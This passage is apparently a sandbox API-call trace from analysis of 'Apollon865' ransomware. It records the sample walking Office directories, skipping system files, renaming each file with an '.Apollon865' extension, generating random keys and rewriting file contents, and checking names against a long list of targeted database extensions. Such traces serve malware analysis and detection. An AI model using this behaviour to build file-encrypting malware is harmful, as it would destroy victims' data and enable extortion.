	[0066.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.947] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.947] CloseHandle (hObject=0x100) returned 1
	[0066.947] CloseHandle (hObject=0x15c) returned 1
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.947] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGBOXES.DPV", cAlternateFileName="")) returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2=".") returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="..") returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="windows") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="bootmgr") returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="temp") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="pagefile.sys") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="boot") returned 1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="ids.txt") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="ntuser.dat") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="perflogs") returned -1
	[0066.947] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2="MSBuild") returned -1
	[0066.947] lstrlenW (lpString="DGBOXES.DPV") returned 11
	[0066.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML") returned 62
	[0066.948] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBOXES.DPV" | out: lpString1="DGBOXES.DPV") returned="DGBOXES.DPV"
	[0066.948] lstrlenW (lpString="DGBOXES.DPV") returned 11
	[0066.948] lstrlenW (lpString="Apollon865") returned 10
	[0066.948] lstrcmpiW (lpString1="GBOXES.DPV", lpString2="Apollon865") returned 1
	[0066.948] lstrlenW (lpString=".dll") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2=".dll") returned 1
	[0066.948] lstrlenW (lpString=".lnk") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2=".lnk") returned 1
	[0066.948] lstrlenW (lpString=".ini") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2=".ini") returned 1
	[0066.948] lstrlenW (lpString=".sys") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.DPV", lpString2=".sys") returned 1
	[0066.948] lstrlenW (lpString="DGBOXES.DPV") returned 11
	[0066.948] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGBOXES.XML" | out: lpString1="DGBOXES.XML") returned="DGBOXES.XML"
	[0066.948] lstrlenW (lpString="DGBOXES.XML") returned 11
	[0066.948] lstrlenW (lpString="Apollon865") returned 10
	[0066.948] lstrcmpiW (lpString1="GBOXES.XML", lpString2="Apollon865") returned 1
	[0066.948] lstrlenW (lpString=".dll") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.XML", lpString2=".dll") returned 1
	[0066.948] lstrlenW (lpString=".lnk") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.XML", lpString2=".lnk") returned 1
	[0066.948] lstrlenW (lpString=".ini") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.XML", lpString2=".ini") returned 1
	[0066.948] lstrlenW (lpString=".sys") returned 4
	[0066.948] lstrcmpiW (lpString1="DGBOXES.XML", lpString2=".sys") returned 1
	[0066.948] lstrlenW (lpString="DGBOXES.XML") returned 11
	[0066.948] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.Apollon865") returned 72
	[0066.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.949] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=542) returned 1
	[0066.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.950] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.950] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.950] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.951] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x520, lpName=0x0) returned 0x100
	[0066.953] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x520) returned 0x100000
	[0066.954] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.955] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.955] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.955] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.955] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.956] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.956] CloseHandle (hObject=0x100) returned 1
	[0066.956] CloseHandle (hObject=0x15c) returned 1
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.956] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1497e200, ftCreationTime.dwHighDateTime=0x1c6856f, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1497e200, ftLastWriteTime.dwHighDateTime=0x1c6856f, nFileSizeHigh=0x0, nFileSizeLow=0x35468, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGCAL.DPV", cAlternateFileName="")) returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2=".") returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="..") returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="windows") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="bootmgr") returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="temp") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="pagefile.sys") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="boot") returned 1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="ids.txt") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="ntuser.dat") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="perflogs") returned -1
	[0066.956] lstrcmpiW (lpString1="DGCAL.DPV", lpString2="MSBuild") returned -1
	[0066.956] lstrlenW (lpString="DGCAL.DPV") returned 9
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML") returned 61
	[0066.957] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCAL.DPV" | out: lpString1="DGCAL.DPV") returned="DGCAL.DPV"
	[0066.957] lstrlenW (lpString="DGCAL.DPV") returned 9
	[0066.957] lstrlenW (lpString="Apollon865") returned 10
	[0066.957] lstrlenW (lpString=".dll") returned 4
	[0066.957] lstrcmpiW (lpString1="DGCAL.DPV", lpString2=".dll") returned 1
	[0066.957] lstrlenW (lpString=".lnk") returned 4
	[0066.957] lstrcmpiW (lpString1="DGCAL.DPV", lpString2=".lnk") returned 1
	[0066.957] lstrlenW (lpString=".ini") returned 4
	[0066.957] lstrcmpiW (lpString1="DGCAL.DPV", lpString2=".ini") returned 1
	[0066.957] lstrlenW (lpString=".sys") returned 4
	[0066.957] lstrcmpiW (lpString1="DGCAL.DPV", lpString2=".sys") returned 1
	[0066.957] lstrlenW (lpString="DGCAL.DPV") returned 9
	[0066.957] lstrlenW (lpString="bak") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.957] lstrlenW (lpString="ba_") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.957] lstrlenW (lpString="dbb") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.957] lstrlenW (lpString="vmdk") returned 4
	[0066.957] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.957] lstrlenW (lpString="rar") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.957] lstrlenW (lpString="zip") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.957] lstrlenW (lpString="tgz") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.957] lstrlenW (lpString="vbox") returned 4
	[0066.957] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.957] lstrlenW (lpString="vdi") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.957] lstrlenW (lpString="vhd") returned 3
	[0066.957] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.957] lstrlenW (lpString="vhdx") returned 4
	[0066.957] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.957] lstrlenW (lpString="avhd") returned 4
	[0066.958] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.958] lstrlenW (lpString="db") returned 2
	[0066.958] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.958] lstrlenW (lpString="db2") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.958] lstrlenW (lpString="db3") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.958] lstrlenW (lpString="dbf") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.958] lstrlenW (lpString="mdf") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.958] lstrlenW (lpString="mdb") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.958] lstrlenW (lpString="sql") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.958] lstrlenW (lpString="sqlite") returned 6
	[0066.958] lstrcmpiW (lpString1="AL.DPV", lpString2="sqlite") returned -1
	[0066.958] lstrlenW (lpString="sqlite3") returned 7
	[0066.958] lstrcmpiW (lpString1="CAL.DPV", lpString2="sqlite3") returned -1
	[0066.958] lstrlenW (lpString="sqlitedb") returned 8
	[0066.958] lstrcmpiW (lpString1="GCAL.DPV", lpString2="sqlitedb") returned -1
	[0066.958] lstrlenW (lpString="xml") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.958] lstrlenW (lpString="$er") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.958] lstrlenW (lpString="4dd") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.958] lstrlenW (lpString="4dl") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.958] lstrlenW (lpString="^^^") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.958] lstrlenW (lpString="abs") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.958] lstrlenW (lpString="abx") returned 3
	[0066.958] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.958] lstrlenW (lpString="accdb") returned 5
	[0066.958] lstrcmpiW (lpString1="L.DPV", lpString2="accdb") returned 1
	[0066.959] lstrlenW (lpString="accdc") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accdc") returned 1
	[0066.959] lstrlenW (lpString="accde") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accde") returned 1
	[0066.959] lstrlenW (lpString="accdr") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accdr") returned 1
	[0066.959] lstrlenW (lpString="accdt") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accdt") returned 1
	[0066.959] lstrlenW (lpString="accdw") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accdw") returned 1
	[0066.959] lstrlenW (lpString="accft") returned 5
	[0066.959] lstrcmpiW (lpString1="L.DPV", lpString2="accft") returned 1
	[0066.959] lstrlenW (lpString="adb") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.959] lstrlenW (lpString="adb") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.959] lstrlenW (lpString="ade") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.959] lstrlenW (lpString="adf") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.959] lstrlenW (lpString="adn") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.959] lstrlenW (lpString="adp") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.959] lstrlenW (lpString="alf") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.959] lstrlenW (lpString="ask") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.959] lstrlenW (lpString="btr") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.959] lstrlenW (lpString="cat") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.959] lstrlenW (lpString="cdb") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.959] lstrlenW (lpString="ckp") returned 3
	[0066.959] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.959] lstrlenW (lpString="cma") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.960] lstrlenW (lpString="cpd") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.960] lstrlenW (lpString="dacpac") returned 6
	[0066.960] lstrcmpiW (lpString1="AL.DPV", lpString2="dacpac") returned -1
	[0066.960] lstrlenW (lpString="dad") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.960] lstrlenW (lpString="dadiagrams") returned 10
	[0066.960] lstrlenW (lpString="daschema") returned 8
	[0066.960] lstrcmpiW (lpString1="GCAL.DPV", lpString2="daschema") returned 1
	[0066.960] lstrlenW (lpString="db-journal") returned 10
	[0066.960] lstrlenW (lpString="db-shm") returned 6
	[0066.960] lstrcmpiW (lpString1="AL.DPV", lpString2="db-shm") returned -1
	[0066.960] lstrlenW (lpString="db-wal") returned 6
	[0066.960] lstrcmpiW (lpString1="AL.DPV", lpString2="db-wal") returned -1
	[0066.960] lstrlenW (lpString="dbc") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.960] lstrlenW (lpString="dbs") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.960] lstrlenW (lpString="dbt") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.960] lstrlenW (lpString="dbv") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.960] lstrlenW (lpString="dbx") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.960] lstrlenW (lpString="dcb") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.960] lstrlenW (lpString="dct") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.960] lstrlenW (lpString="dcx") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
	[0066.960] lstrlenW (lpString="ddl") returned 3
	[0066.960] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.960] lstrlenW (lpString="dlis") returned 4
	[0066.960] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.960] lstrlenW (lpString="dp1") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.961] lstrlenW (lpString="dqy") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.961] lstrlenW (lpString="dsk") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.961] lstrlenW (lpString="dsn") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.961] lstrlenW (lpString="dtsx") returned 4
	[0066.961] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.961] lstrlenW (lpString="dxl") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.961] lstrlenW (lpString="eco") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.961] lstrlenW (lpString="ecx") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.961] lstrlenW (lpString="edb") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.961] lstrlenW (lpString="epim") returned 4
	[0066.961] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.961] lstrlenW (lpString="fcd") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.961] lstrlenW (lpString="fdb") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.961] lstrlenW (lpString="fic") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.961] lstrlenW (lpString="flexolibrary") returned 12
	[0066.961] lstrlenW (lpString="fm5") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.961] lstrlenW (lpString="fmp") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
	[0066.961] lstrlenW (lpString="fmp12") returned 5
	[0066.961] lstrcmpiW (lpString1="L.DPV", lpString2="fmp12") returned 1
	[0066.961] lstrlenW (lpString="fmpsl") returned 5
	[0066.961] lstrcmpiW (lpString1="L.DPV", lpString2="fmpsl") returned 1
	[0066.961] lstrlenW (lpString="fol") returned 3
	[0066.961] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.961] lstrlenW (lpString="fp3") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.962] lstrlenW (lpString="fp4") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.962] lstrlenW (lpString="fp5") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.962] lstrlenW (lpString="fp7") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.962] lstrlenW (lpString="fpt") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.962] lstrlenW (lpString="frm") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.962] lstrlenW (lpString="gdb") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.962] lstrlenW (lpString="gdb") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.962] lstrlenW (lpString="grdb") returned 4
	[0066.962] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.962] lstrlenW (lpString="gwi") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.962] lstrlenW (lpString="hdb") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.962] lstrlenW (lpString="his") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.962] lstrlenW (lpString="ib") returned 2
	[0066.962] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.962] lstrlenW (lpString="idb") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.962] lstrlenW (lpString="ihx") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.962] lstrlenW (lpString="itdb") returned 4
	[0066.962] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.962] lstrlenW (lpString="itw") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.962] lstrlenW (lpString="jet") returned 3
	[0066.962] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.962] lstrlenW (lpString="jtx") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.963] lstrlenW (lpString="kdb") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.963] lstrlenW (lpString="kexi") returned 4
	[0066.963] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.963] lstrlenW (lpString="kexic") returned 5
	[0066.963] lstrcmpiW (lpString1="L.DPV", lpString2="kexic") returned 1
	[0066.963] lstrlenW (lpString="kexis") returned 5
	[0066.963] lstrcmpiW (lpString1="L.DPV", lpString2="kexis") returned 1
	[0066.963] lstrlenW (lpString="lgc") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.963] lstrlenW (lpString="lwx") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.963] lstrlenW (lpString="maf") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.963] lstrlenW (lpString="maq") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.963] lstrlenW (lpString="mar") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.963] lstrlenW (lpString="marshal") returned 7
	[0066.963] lstrcmpiW (lpString1="CAL.DPV", lpString2="marshal") returned -1
	[0066.963] lstrlenW (lpString="mas") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.963] lstrlenW (lpString="mav") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.963] lstrlenW (lpString="maw") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.963] lstrlenW (lpString="mdbhtml") returned 7
	[0066.963] lstrcmpiW (lpString1="CAL.DPV", lpString2="mdbhtml") returned -1
	[0066.963] lstrlenW (lpString="mdn") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.963] lstrlenW (lpString="mdt") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.963] lstrlenW (lpString="mfd") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.963] lstrlenW (lpString="mpd") returned 3
	[0066.963] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.964] lstrlenW (lpString="mrg") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.964] lstrlenW (lpString="mud") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.964] lstrlenW (lpString="mwb") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.964] lstrlenW (lpString="myd") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.964] lstrlenW (lpString="ndf") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.964] lstrlenW (lpString="nnt") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
